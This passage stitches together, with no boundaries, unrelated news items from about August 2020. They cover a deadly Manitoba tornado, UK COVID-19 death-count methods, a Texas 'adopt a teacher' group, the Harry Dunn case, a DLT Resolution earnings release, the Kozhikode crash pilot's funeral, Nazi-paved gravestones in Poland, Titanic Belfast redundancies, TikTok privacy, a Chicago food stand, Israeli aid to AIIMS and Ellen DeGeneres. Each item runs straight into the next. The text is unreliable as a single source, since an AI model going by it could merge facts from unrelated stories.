longer be current. A deadly tornado that tore a path through southwest Manitoba Friday is the second severe twister to hit the region this summer, and weather scientists are analyzing a trove of evidence to learn more about it. Following early damage assessments in partnership with the Northern Tornadoes Project, Environment and Climate Change Canada has preliminarily categorized the tornado as an EF-2 on the Enhanced Fujita scale. The scale rates twisters from zero to five, with five being the most severe. According to the Northern Tornadoes Project, which is based out of Western University and aims to collect and analyze data on all tornadoes in Canada, the tornado that touched down near Scarth, 13 kilometres south of Virden on Friday left a 9.35-kilometre trail of damage in its wake, destroying land and property up to 740 metres away. A tornado that touched down near Scarth, 13 kilometres south of Virden, left a 9.35-kilometre trail of damage in its wake. (Misheyla Iwasiuk / Twitter) On June 28, an EF-2 tornado also hit Rapid City, Man., about 100 kilometres northeast of Scarth, reaching estimated wind speeds of 190 km/h and covering 5.6 kilometres of ground, toppling grain bins, levelling out buildings and scattering debris up to 200 metres away. No injuries were reported. Alysa Pederson, a meteorologist with Environment Canada, said tornado events cant be compared, but data on all verified tornadoes, between 1980 to 2009, were primarily classified as F-0 on the Fujita scale. Melita-area school division to organize community supports Back on the ground in Melita, Man., approximately 54 kilometres south of Scarth, the Southwest Horizon School Division is offering counselling services to students at the local school on Aug. 11 and Aug. 12 from 1 to 5 p.m. click to read more Back on the ground in Melita, Man., approximately 54 kilometres south of Scarth, the Southwest Horizon School Division is offering counselling services to students at the local school on Aug. 11 and Aug. 12 from 1 to 5 p.m. The town is grieving the death of two of its members; Carter Tilbury and Shayna Barnesky, both 18, died Friday when the tornado swept up the vehicle they were in, launching it into a nearby field. The division said it is organizing support for the community at a later date and will announce more details as they are available. Private funeral services for the two teens are being organized by Redpath Funeral Home and obituaries have been posted for the two teens, who were described as best friends. Donations in memory of Barnesky can be sent to Prairie Mountain Health, Mental Health Services, or Strays That Cant Pay; donations in memory of Tilbury should be sent to the Terry Fox Foundation. Melita Mayor Bill Holden said he had no new information to share on Monday regarding plans for a public vigil or memorial for the pair. A 54-year-old man from Sioux Valley Dakota First Nation is also recovering after his vehicle was caught in the tornado. Manitoba RCMP said he was taken to hospital with serious but non-life threatening injuries. Danielle Da Silva Close "A lot of tornadoes are quick spin-ups and F-0s because there is a lot of open space," Pederson said. "Thats why its hard to compare any specific event. "We cant really speak specifically to any anomalous situations regarding tornadoes because it depends on what it hits," she said. So far this summer, four tornadoes have been recorded in Manitoba, three of which were confirmed, including an EF-0 tornado in the Kenville area on July 17 and one in Letellier on June 23. Satellite images, video footage assisting weather scientists Satellite imagery of Scarth collected by Planet.com the day after the deadly tornado touched down, and analyzed by NTP, shows the tornado's path of destruction as it tracked northeast. "This is actually the first time we were able to get a satellite image a day after a tornado," said Gregory Kopp, a professor at Western University and ImpactWX chair in severe storms engineering. "In this case, there was scour, there were crops in the area and so as soon as there is crop damage, you can see it (the track) pretty clearly. "The end of the track, as it was dissipating showed pretty clearly the damage," he said. A before and after comparison of satellite images can help assess the storm and its trajectory, Kopp said, and a team of engineers and meteorologists also consider photographic evidence, video and drone footage and evidence from the field when classifying a tornado. Officials in the UK plan to start publishing three separate daily death tolls for Covid-19 amidst confusion over statistics pushed out by the Government. The Department of Health will now release three measures including its heavily criticised count which records deaths of everyone who has ever tested positive for the coronavirus - regardless of how they died. It comes after Health Secretary Matt Hancock ordered Public Health England to review the way it counts deaths because of a 'statistical flaw' that meant officials were 'over-exaggerating' the daily toll. The original method recorded people as a Covid-19 fatality even if they tested positive in March and died in a car crash in August. Two new methods will create lists of people who have died within 28 days of testing positive for coronavirus, and people who have died within 60 days of a test. The 28-day count is considered to be the medical standard, with deaths within that time frame likely to be a direct result of the disease. But the longer term ones risk including people who die of other causes and just happened to have had Covid-19. But officials are understood to be hesitant to stop its long-term count because so many people suffer the after-effects of coronavirus for weeks or even months after infection. On top of that, the Office for National Statistics (ONS) still publishes its own weekly report on Covid-19 deaths based on what was written on a death certificate. The Government will stick to its heavily criticised method which records deaths of people who have ever tested positive for the coronavirus. Currently this stands at 46,595 The UK Government had recorded 46,595 deaths in during the pandemic up to yesterday. PHE counts people as victims if they die of any cause any time after testing positive for Covid-19 even if they were hit by a bus months after beating the life-threatening infection, top academics revealed last month. The method is likely why the daily fatality tolls have not dropped as quickly in England as elsewhere - because survivors are never considered truly recovered from the disease. PHE are expected to publish the findings of a review into its own counting within the next few days, The Times reported. WHAT WILL THE THREE TALLIES BE? 28-day cut off This method is said to be favoured by ministers. If someone died 28 days after testing positive for Covid-19, their death would be recorded as caused by the disease. But if they died 29 days later, it would not be. The shorter time frame than the one used now - which counts deaths any time after someone tests positive for Covid-19 - will lessen the possibility that a person is recorded as a Covid-19 death even if they died of a completely different unrelated cause. 60-day cut off This method, favoured by Government statisticians, will count a Covid-19 death as anyone who died with in 60 days of a positive result. It leaves room for those who may have died several weeks after getting infected, considering some patients may be in hospital for a long time before they eventually die of the disease. However, it also means some people who tested positive for the virus, recovered, and then died a while later of different causes will be picked up. Public Health England said the 60-day cut off is better than 28 days because some patients suffer long term Covid-19 symptoms after appearing to recover, and cannot be missed out from the tally if they do not die in the immediate month after their diagnosis. The current measure It is understood the current method - which counts any death after a positive Covid-19 result no matter how much later it occurs - will continue to be published. The method has come under scrutiny because it means someone who once suffered Covid-19 and then recovered would be counted even if they got hit by a bus or were in a car crash. But experts say it is still useful because it allows instant compatibility between days to see if deaths are petering out. Advertisement But despite the shortfalls of the counting method, it is not going to be scrapped. Instead, two other Covid-19 death tolls will be added on top after a compromise between ministers and scientists. Ministers favour a 28-day cut off method, in which the tally only catches people who have died within 28 days of testing positive. This is used in Scotland, where the death toll has been considerably lower than England's in recent weeks. Professor Carl Heneghan, of the Centre for Evidence-Based Medicine at Oxford University, noted that 2,158 deaths were recorded in England in July against Scotland's nine, suggesting most were actually caused by something other than Covid-19. It is expected this option would shave off around 10 per cent of deaths overall. PHE have argued for another death toll - one which records a Covid-19 death even if the diagnosed person died 60 days later. The Government agency said a 28-day limit would wrongly exclude thousands of cases including those with 'long Covid' symptoms, such as heart problems. It is unclear how many deaths occur two months after someone tests positive for the virus and what the causes typically are. The third tally is only expected to be a few per cent lower than the current one, because it still gives a long duration for a Covid-19 case to die. Professor Heneghan criticised the plan saying it would only further confuse the public. He told The Times: 'It doesn't make sense. The public are so confused by this and all they will see is the highest number and that up to 100 people a day are still dying. That's unhelpful and inaccurate. 'What they should do, if they accept they don't know how to make sense of this, is to publish the raw data and so people like us can analyse it.' On top of the three counts, the ONS offers a more comprehensive - although not flawless - Covid-19 death toll. It counts any death as Covid-19 if it has been recorded on the death certificate as playing a role, whether the patient had a test or not. It is slightly delayed in order for death certificates to be collected. While it is broadly considered more accurate than PHE's more immediate tally, there is the concern that during the height of the pandemic, GPs were recording Covid-19 deaths in exaggerated numbers. Testing was limited for the first few months of the crisis, not only in the community but also care homes. Therefore some deaths would have been put as Covid-19 because it was suspected. One of the leading experts who uncovered the flaw in PHE's counting told MailOnline his 'best guess' was that more than 1,000 people have had their deaths wrongly recorded as caused by Covid-19. Dr Yoon Loke, a pharmacologist at the University of East Anglia, warned that it is 'not a good way of collecting data', has had a significant impact in the past two months and is happening because PHE 'chose a quick and easy technique'. Dr Loke's analysis shows that 'all settings' deaths (red bar) remain very high in England even as hospital deaths (blue bar) - which the Office for National Statistics says should make up two thirds of the total - have plummeted And the daily death tolls may not hit zero 'for months to come' because of a long tail of elderly people who beat Covid-19 but will die of other causes, Dr Loke added. He uncovered the flaw alongside Oxford University's Professor Heneghan. Dr Loke said: 'By this PHE definition, no-one with Covid in England is allowed to ever recover from their illness.' The way PHE counted victims on a daily basis worked by it combing through records of people who had tested positive for Covid-19 in the past to see if they had died. If they had, their death was automatically added to the coronavirus count. It meant that if, for example, somebody tested positive in April but recovered and was then hit by a bus in July, they would still be counted as a Covid-19 victim. Dr Loke pointed out that unless PHE changed its system, more than 300,000 people who have tested positive will be added to the Covid-19 death toll when they eventually die. Parents and teachers in the Cy-Fair area are preparing for the most uncertain semester of school since Hurricane Harvey in 2017 as reworked virtual classes go live and schools install new partitions and protocols to prevent the spread of COVID-19. Parent Jessica Garza took to local Facebook group Cypress News to announce another group, Adopt a Cypress Fairbanks Teacher, that would allow parents to lend a hand to Cy-Fair ISD teachers struggling with the challenges of the fall semester including criticism from local communities. Special needs: Parents of special needs, virtual students prepare for an uncertain semester Since Garzas announcement on Aug. 2, more than 5,400 community members have joined the group and more than 800 educators have been paired with supporters for, at least, the year. I thought that this would just be something positive and bring light to the situation, Garza said. I didnt think it would take off like it did but there has been such a positive outlook on it all. Garza, previously a CFISD teacher for 10 years, said the self-run group is meant to pair parents with teachers they can support throughout the year with gifts or help. Teachers who are in the group post a short biography including what grade level and subject they teach, and parents can comment on the post to officially adopt the teacher. Garza has adopted a few teachers herself, including one of her sons teachers for the upcoming semester. My son is going to be going to school with one of the teachers Im adopting so Im planning on giving him a Starbucks (drink) in the morning to take her, she said. Fall semester: Northwest Houston nonprofits providing school supplies to families in need Although the group is focused on the upcoming challenges of the fall semester, Garza said she hopes the group takes on a life of its own in the future. Teachers are not the only staff up for adoption: nurses, paraprofessionals and other staff have also been adopted by members after posting their story. First-time teachers, many of whom are former Cy-Fair ISD students, are also up for adoption. Im hoping that people will be able to connect for the long-term, developing friendships and mentorships or even just for the year, she said. Parents and teachers joining the group will need to request membership from the group before gaining access. Parents and teachers are encouraged to create their own connections. Garza said she hopes people follow through with their support, especially during a difficult time for the community. Hopefully, its not just a one-time thing but for some of them it might be, she said. Once youre as teacher youre always a teacher so I thought this was just a really great time to connect the community and teachers back together. I know that its been kind of hectic and theres kind of a separation right now. chevall.pryce@chron.com The former business secretary has intervened to call for a virtual trial Andrea Leadsom, the former business secretary, has asked the Government to consider a "virtual trial" for Harry Dunn's alleged killer, who remains in the United States. Anne Sacoolas was charged with causing death by dangerous driving after a crash in August last year which resulted in the 19-year-old's death. But the 42-year-old claimed diplomatic immunity following the collision outside RAF Croughton in Northamptonshire and was able to return to her home country, sparking an international controversy. In a letter to Home Secretary Priti Patel on Monday, the Dunn family's constituency MP Andrea Leadsom described a virtual trial as a "way to achieve closure... without undermining the US decision not to accept the extradition request". Mrs Leadsom also wrote to the Solicitor General, the Foreign Secretary, the Crown Prosecution Service and the Lord Chancellor to put forward the idea of a virtual trial or a trial in Sacoolas's absence. The family's spokesman Radd Seiger said the family "would not object" if a decision was taken to conduct a remote trial. In the letter, Mrs Leadsom said: "You may be aware that the anniversary of Harry's death falls on August 27 and this is obviously an extremely difficult time for the family. "They are very anxious to obtain closure on these terrible events before that date and seek urgent comments on the possibility of the trial of Anne Sacoolas virtually or in her absence. "She could remain on US soil, have a virtual trial with a UK court, and should there be a custodial sentence, she could serve it in the US under the existing prisoner transfer agreement. "Now the 'loophole' that allowed Anne Sacoolas to claim diplomatic immunity has been closed by our Foreign Secretary's excellent efforts, it must be clear to all that the claim of immunity was the wrong thing to do and that a virtual trial is a way to achieve closure for Harry's family without undermining the US decision not to accept the extradition request." Story continues Mr Dunn's family said their "final goodbye" to their son last month as they scattered his ashes in his favourite place - Portland Bill, near Weymouth in Dorset. Reacting to the letters, Mr Dunn's mother Charlotte Charles told PA: "How justice is administered is not a matter for me as a victim of this very serious crime. "However, I'm very grateful to Andrea Leadsom for working hard on our behalf to ensure that justice is done for Harry. "I can see that she has written to the authorities suggesting that Anne Sacoolas is tried remotely from the US and we're grateful for her looking at ways in which justice can be achieved." An extradition request submitted by the Home Office for Sacoolas was rejected by US Secretary of State Mike Pompeo in January. The US State Department later described the decision as "final", despite the loophole which allowed Sacoolas to claim diplomatic immunity being closed by both countries last month. The Home Office said the issue was a matter for the Attorney General's Office which confirmed a letter had been received but declined to comment further. At the height of COVID-19, DLT Resolution delivers impressive growth in both consecutive quarter and year over year Sales and profitability LAS VEGAS, Nevada, Aug. 11, 2020 (GLOBE NEWSWIRE) -- via NEWMEDIAWIRE -- DLT Resolution, Inc. (OTC: DLTI), an information technology, cyber security, telecommunications and Union Services company, today reported financial results for its second quarter ended June 30, 2020. 2020 Second Quarter Highlights: Second quarter revenue of $549,000 was 385% higher than 2019 second quarter revenue On a consecutive quarter basis, Second quarter revenue of $549,000 was 28% higher than the 2020 Q1 quarter Second quarter net loss of $77,000, was 81% less than 2019 second quarter net loss On a consecutive quarter basis, Second quarter net loss of $77,000, was 73% less than first quarter 2020 loss of $329,000. We are pleased that our January 30, 2020 acquisition of Union Strategies, Inc. is making significant positive contributions to our financial results. Our business generated $86,000 in EBITDA in the second quarter of 2020 and we achieved near breakeven operating cash flow for the first six months of 2020. In the face of a business environment made challenging by the COVID-19 pandemic, we are servicing customers, winning new business and expanding our product offering, said John Wilkes, Chief Executive Officer of DLT Resolution Inc. Second Quarter 2020 Results The increase in second quarter revenue to $549,000 from 2019s second quarter revenue of $113,000 was primarily related to the revenue generated by Union Strategies, Inc. following the Companys acquisition of its business on January 30, 2020. The Company reported a first quarter net loss of $77,000 that includes $152,000 in depreciation and amortization expense and $11,000 in interest expense, as compared to a $14,000 net loss with $86,000 in depreciation and amortization expense and $2,000 in interest expense in the comparable year-ago period. Story continues John Wilkes concluded, During this second half of 2020, our focus is to cross-pollinate the variety of services offered by our Subsidiaries with our expanded customer base in order to grow our revenues. About DLT Resolution Inc. DLT Resolution Inc. currently operates in three high-tech industry segments: Blockchain Applications & Cyber Security; Telecommunications; and Data Services which includes Image Capture, Data Collection, Data Phone Center Services, and Payment Processing. Its clients represent some of the top businesses from a variety of sectors. DLT Resolution helps organizations that have invoices, ledgers, statements, applications, surveys, employee and customer rewards programs and a wide range of other non-core functions benefit from data management. DLT Resolution also operates a Health Information Exchange providing the ability to request and retrieve medical information & records while meeting all of today's Security & Compliance demands for HIPAA, PIPEDA and PHIPA. Through RecordsBank.org, the Company offers an easy to use online gateway to its centralized system for patients, lawyers and insurers to retrieve and access medical records. Learn more at: DLTResolution.com and DLTTelecom.com. About Union Strategies Inc. (USI) USI has been providing a suite of products and services to Unions for over 10 years. The company designs, builds, and executes programs resulting in greater success for unions. Programs are designed to engage the membership, decrease expenses, and save time for a more productive business. The Companys suite includes Telecommunications, Event Management, Professional Writing, Social Media Management, Web Design, Graphic Services, and Promotional Offerings. The company is a one-stop-shop for all things union. The company has more than 130 clients that are considered mid-market in terms of overall size of the particular local with 450,000 members. USI operates nationally in Canada and looks to expand into the USA in 2020. Learn more at: UnionStrategiesinc.com Forward-Looking and Cautionary Statements The use of the word "company" or "Company" refers to DLT Resolution Incorporated and its wholly-owned subsidiaries. This press release contains "forward-looking statements" within the meaning of the Private Securities Litigation Reform Act of 1995. In accordance with the safe harbor provisions of this Act, statements contained herein that look forward in time that include everything other than historical information, involve risks and uncertainties that may affect the company's actual results. These forward-looking statements can be identified by terminology such as "will," "expects," "anticipates," "future," "intends," "plans," "believes," "estimates" and similar statements. DLT Resolution may also make written or oral forward-looking statements in its periodic reports to the U.S. Securities and Exchange Commission (the "SEC") on Forms 10-K and 10-Q, Current Reports on Form 8-K, in its annual report to stockholders, in press releases and other written materials, and in oral statements made by its officers, directors or employees to third parties. There can be no assurance that such statements will prove to be accurate and there are a number of important factors that could cause actual results to differ materially from those expressed in any forward-looking statements made by the company, including, but not limited to, plans and objectives of management for future operations or products, the market acceptance or future success of our products, and our future financial performance. The company cautions that these forward-looking statements are further qualified by other factors including, but not limited to, those set forth in the company's Annual Report on Form 10-K for the fiscal year ended December 31, 2019 (available at http://www.sec.gov). DLT Resolution undertakes no obligation to publicly update or revise any statements in this release, whether as a result of new information, future events, or otherwise. Nothing within this communication is meant to be a solicitation to buy or sell our securities. Investing in over the counter (OTC) securities often carries a high degree of risk. Please contact your financial advisor before investing in our securities. Source: DLT Resolution Inc. Contact: DLTTelecom.com 1 800-463-5465 DLT RESOLUTION, INC Condensed Consolidated Balance Sheets (Unaudited) June 30, December 31, 2020 2019 ASSETS Current assets Cash and cash equivalents $ 37,864 $ 13,140 Accounts receivable, net of allowance for doubtful accounts of $44,730 at June 30, 2020 and $0 at December 31, 2019 305,047 34,631 Total current assets 342,911 47,771 Property, plant and equipment, net of accumulated depreciation 81,660 - Operating lease right of use asset 10,456 - Intangible assets, net of accumulated amortization 4,126,427 376,460 Goodwill - 165,022 Total assets $ 4,561,454 $ 589,253 LIABILITIES AND STOCKHOLDERSDEFICIT Current liabilities Bank overdraft $ - $ 16,782 Accounts payable and accrued liabilities 537,514 99,201 Related party payables 35,866 35,880 Interest payable, related party 37,878 34,190 Note payable, related party 81,500 81,500 Notes payable, current portion 5,000 - Lease obligation operating lease 6,102 - Total current liabilities 703,680 267,553 Notes payable, net of current portion 88,146 5,000 Other long term liability 2,400,000 685,000 Lease obligation operating lease, net of current portion 3,814 - Total liabilities 3,195,820 957,553 Stockholders equity (deficit) Series A convertible preferred stock, $1.00 par value; 5,000,000 shares authorized; 0 and 25,000 issued and outstanding at June 30, 2020 and December 31, 2019 - - Series B convertible preferred stock, $1.00 par value; 500,000 shares authorized; 64,000 and 64,000 issued and outstanding at June 30, 2020 and December 31, 2019 64,000 64,000 Common stock, $0.001 par value; 275,000,000 shares authorized; 25,926,287 and 24,395,037 issued; 22,698,787 and 21,167,537 outstanding at June 30, 2020 and December 31, 2019 25,926 24,395 Common stock subscribed 14,000 - Additional paid-in capital 6,641,734 4,218,265 Other comprehensive income (333,758 ) (34,430 ) Treasury stock, 3,815,000 shares as of June 30, 2020 and December 31, 2019, at cost (5,300 ) (5,300 ) Accumulated deficit (5,040,968 ) (4,653,230 ) Total stockholders equity (deficit) 1,365,634 (368,300 ) Total liabilities and stockholders equity (deficit) $ 4,561,454 $ 589,253 DLT RESOLUTION, INC. Condensed Consolidated Statements of Operations (Unaudited) Three months ended June 30, Six months ended June 30, 2020 2019 2020 2019 Revenue $ 549,453 $ 113,358 $ 977,800 $ 235,367 Cost of revenue and operating expenses Cost of revenue 263,828 38,738 502,514 72,412 General and administrative 172,643 86,213 368,888 120,010 Depreciation and amortization 151,765 86,213 267,033 51,212 Professional fees 31,850 31,850 64,421 64,421 Goodwill impairment loss (4,768 ) - 154,419 - Total operating expenses 614,804 350,976 1,364,629 359,267 Loss from operations (65,351 ) (43,443 ) (386,829 ) (72,688 ) Other income (expense) Gain/(loss) on stock based liability - 31,133 - (495,438 ) Foreign exchange gain/(loss) (3 ) (17 ) (3 ) 5,349 Loss on investment - - - (331,787 ) Interest expense (11,482 ) (1,823 ) (18,906 ) (3,627 ) Total other income (expense) (11,485 ) 29,293 (18,909 ) (825,503 ) Net income (loss) $ (76,836 ) $ (14,150 ) $ (405,738 ) $ (898,191 ) Maharashtra Chief Minister's Office (CMO) on Tuesday (August 11) said that the government has decided to accord state funeral to late Wing Commander (Retd) Captain DV Sathe. The Maharashtra CMO said in a tweet that Captain Sathe's life will keep on inspiring young pilots to achieve Sword of Honour and command over skies. The State has decided to accord a state funeral to the late Wing Commander (Retd) Captain DV Sathe. His life has been one that shall inspire many more young pilots to achieve the Sword of Honour and command over the skies. CMO Maharashtra (@CMOMaharashtra) August 11, 2020 It is to be noted that Captain Sathe was flying Air India Express plane that crash-landed at Kerala's Kozhikode Airport on August 7. A total of 18 people died after an Air India Express flight with 190 onboard overshot and fell 35 metres off the end of the runway at the Kozhikode airport in treacherous conditions on Friday (August 7). The plane broke into three parts after falling into the gorge. The Boeing 737 jet, on a Vande Bharat mission as flight AIX 1344 from Dubai, was bringing in Indians stranded abroad due to the coronavirus pandemic. On Sunday (August 9), Director General of Directorate General of Civil Aviation (DGCA) Arun Kumar had said that the black box of the ill-fated flight has been brought to Delhi and will be examined at DGCA lab. Kumar had expressed confidence that soon DGCA will have all transcripts from recovered black boxes. "We are also going to talk to Boeing to examine aircrafts original equipment and check for defects. Only after conducting a thorough and unbiased probe, can we tell what exactly happened," he added. Advertisement More than 150 Jewish gravestones used by the Nazis to help build a road have been found in a small market square in a town in Poland. The grim discovery was made during construction work in the town of Lezajsk where workers removed a layer of asphalt and found the 'matzevot', which is Hebrew for headstones, 20 cm below the surface. Described as one of the biggest 'matzevot' finds in recent times, around 100 of the gravestones are still complete, save for the traditional rounded heads. Another 50 headstones were broken up into small pieces and used to fill in the base of the road. The grim discovery was made during construction work in the town of Lezajsk where workers removed a layer of asphalt and found the 'matzevot' 20 cm below the surface Some of the matzevot have kept their original colours and painted lettering, clearly showing the blue, green, yellow and red colours of the inscriptions Archaeologist Ewa Kedzierska who is overseeing the work said: 'We were expecting to find some because 19 years ago matzevot were also found during the construction of a roundabout in the centre of Lezajsk. 'But nobody expected such a number. There are more than 150 of them and still not all of them have been removed.' She added: 'We can't read the years, because everything is in Yiddish. Some matzevot are made of sandstone, others of concrete. 'These are better preserved, because the sandstone cracked in contact with water. They are in different condition, but they are really beautiful.' Workers uncover the mass grave site after the discovery was made during construction work in Poland The discovery of the graves has been described as one of the biggest 'matzevot' finds in recent times Around 100 of the gravestones are still complete, with some made of sandstone and others of concrete German troops occupied the town shortly after the outbreak of WWII in September 1939 and most of the town's Jewish population were expelled to the Soviet occupation zone just 11km away. The remaining 350 Jews were confined in the town's ghetto which was established in 1941, with many murdered in executions in the local cemetery. The Germans decided to pave the market square using bricks from the local synagogue, which they had already burned down. Hundreds of Jews were confined in the town's ghetto, with many murdered in executions in the local cemetery. Above, a photograph of the Jewish cemetery in the interwar period The Germans decided to pave the market square using bricks from the local synagogue, which they had already burned down After the discovery (above) the excavated headstones wereplaced on a plot belonging to the local council until a final decision is made about what to do with them When the bricks ran out, the Germans ordered that headstones be brought from the nearby Jewish cemetery. Construction workers also discovered the gravestones covered a 98-foot stretch of road. Some of the matzevot have kept their original colours and painted lettering, clearly showing the blue, green, yellow and red colours of the inscriptions. The discovery has led to speculation that the headstone with gold lettering may belong to Rabbi Elimelech Weissblum. He was one of the founders of the Hasidic movement and, according to legend, healed the sick and was able to talk to animals. The market square road is pictured above, before the discovery of the mass graves was uncovered in Poland Around 50 headstones, which are called matzevot in Hebrew, were broken up into small pieces and used to fill in the base of the road Germans decided to pave the market square using bricks from the local synagogue, which they had already burned down. Above is the town's current synagogue, which was built in the late 1990s Construction workers discovered that the gravestones covered a 98-foot stretch of road Every year the town is visited by thousands of Hasidic Jews who come to pray at his tomb which, although destroyed during the war, was later reconstructed. Ewa Kedzierska said: 'I hope that one could be the grave of Rabbi Elimelech Weisblum of Lizhensk. That would be a great discovery.' The excavated headstones have now been placed on a plot belonging to the local council until a final decision is made about what to do with them. Staff at Northern Ireland's top tourist attraction Titanic Belfast have accused management of a "sham" consultation over redundancies at the stricken business. The centre reopened on August 1 after it closed just before lockdown in March. In June it emerged that around 75 members of staff out of 300 were facing redundancy. Last month, chief executive Judith Owens told Business Telegraph that she had been working to "save" the business during lockdown. Disgruntled staff have now written an open letter expressing their hurt over the redundancy process - in the hope it will result in a change of tack by the company. The 'open' letter, which has been seen by the Belfast Telegraph, says: "The company proposes to make 75 permanent positions redundant. Entire departments will be closed, and hours vastly reduced for long-serving casual crew. "This came as a great shock, causing significant stress and anxiety across staff in all departments. "This is a drastic measure taken by the company and we have serious concerns about its implications, not only on staff, but also on the business itself..." A spokeswoman for Titanic Belfast said: "Titanic Belfast continues to be in a precarious trading position as is the case of other organisations across our industry, we have had to make difficult decisions over the past few months to try and save the business. Titanic Belfast carried out the restructure and consultation in line with Northern Ireland legislation but also with a high focus on duty of care as has been our operating ethos over the past eight years. But staff have hit out at the business for failing to make use of the Coronavirus Job Retention Scheme, set up to the government to preserve jobs during lockdown. The letter states: We feel that the timing and urgency of the announcement and consultation process has been intentionally orchestrated with the sole intention of being completed prior to the Grand Reopening on August 1. To us, the consultation has been a sham. We feel the process was neither genuine nor meaningful. Staff added: We are highly trained across all departments, from the crew in the galleries and tour guides, to our chefs, conference and banqueting crew, retail assistants, and office personnel, each building their skills and knowledge over the years, making them an essential part of the experience for our guests. With the loss of so many experienced and highly skilled staff, our vast knowledge and ability to connect with guests, the visitors experience will most certainly be lacking. The staff who have colloborated in the letter also say they were not given enough time to consider their options when presented with redundancy. Companies here are required to give 30 days notice before the first redundancy where there are 20 to 99 people being made redundant. The letter claims that staff have felt failed by management for years. This has led not only to a hostile working environment and an general air of malaise, but also to a lack of trust in HR management to listen and support them in an unbiased manner. In the 18 months leading up to February 2020, over 30 permanent members of staff across all departments left the business. This is an extremely high number of staff to lose in just a year and a half, and it raises serious questions. Titanic Belfast has claimed the letter contains inaccuracies. A spokeswoman would not comment further on the redundancy process. The letter asks management to reconsider. If there is a chance that some jobs could be saved through genuine, transparent consultation, then we would greatly appreciate the opportunity. Worries about the TikTok app's data collection could be eased if the Chinese-owned app was sold to Microsoft or another U.S. company. But American companies are ravenous collectors of user data too. (Getty Images) Even before President Trump signed an executive order that could soon smother social network TikTok, Microsoft emerged as a potential savior for the U.S.-based but Chinese-owned video snacking service. Now, Twitter and several investment companies are also reportedly talking to TikTok's owner, ByteDance, about possibly taking over the social network and keeping it going. That may seem like sweet blessed relief to the network's estimated 100 million active U.S. users and especially the entrepreneurs who have made a career out of TikTok videos. But while new, non-Chinese ownership would remove some privacy and security concerns, it would also highlight the weaknesses in U.S. law and the ongoing vulnerability of smartphone app users. Invoking powers granted by Congress to respond to emergencies, Trump issued orders Aug. 6 that will bar U.S. companies and consumers from doing business with TikTok and WeChat, a messaging service owned by China's Tencent Holdings, starting in mid-September. The bans seem less like defenses against extraordinary new threats than punches thrown in the larger trade battle between Trump and China. TikTok, after all, is wildly popular here (WeChat far less so; it has roughly one-tenth of TikTok's active U.S. users), and Trump's order could make it hard to impossible for the company to reach new users or send updates to existing users. The presidents ability to threaten the livelihood of a U.S.-based and U.S.-managed company without anything approaching due process is chilling. Yet there are real concerns about TikTok's data collection practices and its current owner concerns strong enough to have prompted both houses of Congress to call for the app to be banned on government-issued phones. TikTok seems innocuous enough: Its users tend to be young people, and the videos (which last from 15 seconds to 1 minute) mainly feature dancing, storytelling or people mocking something. But the app collects an enormous amount of data about its users not just what they watch while theyre on TikTok, but about such things as the phone theyre using, other apps that have been installed and the online address of the network theyre using. Story continues The implication is that through TikTok, China could assemble a detailed profile of its users and their movements. Do they have sensitive health or dating apps on their phone? That information might be used as blackmail fodder. Do they connect to networks on military bases, or have pictures of military sites? That's a potential national security risk. Granted, plenty of app makers vacuum data off their users phones. And its standard operating practice for social networks to use personal data to power algorithms that tailor their news feeds the For You streams in TikToks case to their users preferences. And unlike, say, Facebook, TikTok doesnt really need to know who your friends are or what theyre up to. But here is where the China angle comes in. Although TikTok is based in Culver City and it users' data is stored primarily in the United States, its owner is in China, as are the developers of some of its technology. TikTok insists that its never turned over data to China, but its owners cant just say no if Chinese authorities demand the information for national security reasons or if they insist that ByteDance engineer a back door into the app to let them surveil its users. The only way to solve that perceived problem is to cut the connection to China entirely, which is what Trump is trying to make happen. TikTok users shouldnt kid themselves about the privacy consequences of a change to U.S. ownership, however. There is no federal law protecting the privacy of user data, other than a broad requirement that companies not mislead the public about their data practices. Hence the transformation of the internet into a rapacious collector of personal information, which is then used as currency by third parties. And when device and app makers have sought to protect personal data through encryption, a series of administrations has accused them of abetting terrorists. Meanwhile, governments at all levels in the United States have long exploited the gray areas in the law to obtain revealing information about phone users without a warrant. So, too, can foreign governments tap into the river of personal data that flows virtually unimpeded online. One state offering its residents at least some rights regarding the data collected online is the one where TikTok is headquartered, California. The Legislature enacted a pioneering consumer data privacy law in 2018 that should have inspired Congress to give all Americans a say over the personal data that websites collect and share. The lawmakers who worry about TikTok ought to look closer to home and see how vulnerable smartphone users are to the bad data practices that have become the norm among apps. Its past time for them to enact a federal digital privacy bill of rights. Head to South Union Avenue on the eastern edge of Little Italy, and youll find a squat yellow building with a constant crowd of customers no matter the time. This is Jims Original (1250 S. Union Ave.), which has been open in some capacity since 1939. Here youll find classic Chicago street food dishes like fat Polish sausages and bone-in pork chop sandwiches, all topped with a slather of bright yellow mustard, pickled chiles and a generous forkful of sauteed onions. But there are no customer entrances, no tables and no bathrooms. The only place to eat is a chest-high stainless-steel counter that runs along the side of the building. Israel on Tuesday contributed state-of-the-art artificial intelligence (AI) based technologies and equipment to the All India Institute of Medical Sciences (AIIMS), New Delhi with the aim to assist in Indias Covid-19 containment efforts and also enhance countrys overall healthcare facilities, according to a statement attributed to the Israeli embassy. The technologies include contactless monitoring applications, advanced medical management systems, and AI-based solutions such as AI assistant robots that can help medical teams perform various tasks remotely. This note-worthy action further cements Israels commitment towards assisting India in its efforts to tackle the ongoing pandemic, a statement released on Israeli embassys behalf said. Prime Minister Narendra Modi has regularly touched base with his Israeli counterpart since the outbreak of the pandemic, exploring areas of cooperation for the containment of the disease. Following the agreement on collaboration between the two leaders, Israels ministry of foreign affairs located the most advanced medical equipment that has been developed in Israel using cutting edge technologies to fight Covid-19, the statement says. Also Read: Russia names new Covid-19 vaccine Sputnik V in reference to Cold War space race The most useful products were then collected in coordination with AIIMS and some other equipment was contributed and some purchased with special funds allocated by the Israeli government. We are pleased to share the best medical technology solutions from Israel with the most premier medical institute of India. We are confident that these technologies will further bolster their capabilities to tackle Covid-19. said Dr Ron Malka, Israeli ambassador to India. Indonesia kicks off third phase of Sinovacs Covid-19 vaccine testing The statement added that Israels technological cooperation with AIIMS is more than a decade old. It says that senior doctors and nurses from AIIMS participated in a training programme on Trauma and Mass Casualty Management in 2007 which resulted in the establishment of the Trauma Center at AIIMS, New Delhi. Malka added that combined efforts and cooperation by India and Israel was not only beneficial to the two countries but to the entire world. Some celebrities may be defending Ellen DeGeneres, but not all who had been in the show had a comfortable time in it. After allegations of racism, intimidation, and fear among "The Ellen DeGeneres Show" staff, not all carried out by Ellen DeGeneres herself, the show is now under an internal investigation. it did not matter that she herself did not commit these disgusting acts - it's her show and she should or would know what was going on. One cannot even say the accusations are not true, because Ellen DeGeneres apologized for them already, even without directly saying she's involved. Because the accusations of her "be kind" mantra as being fake and her nice personality 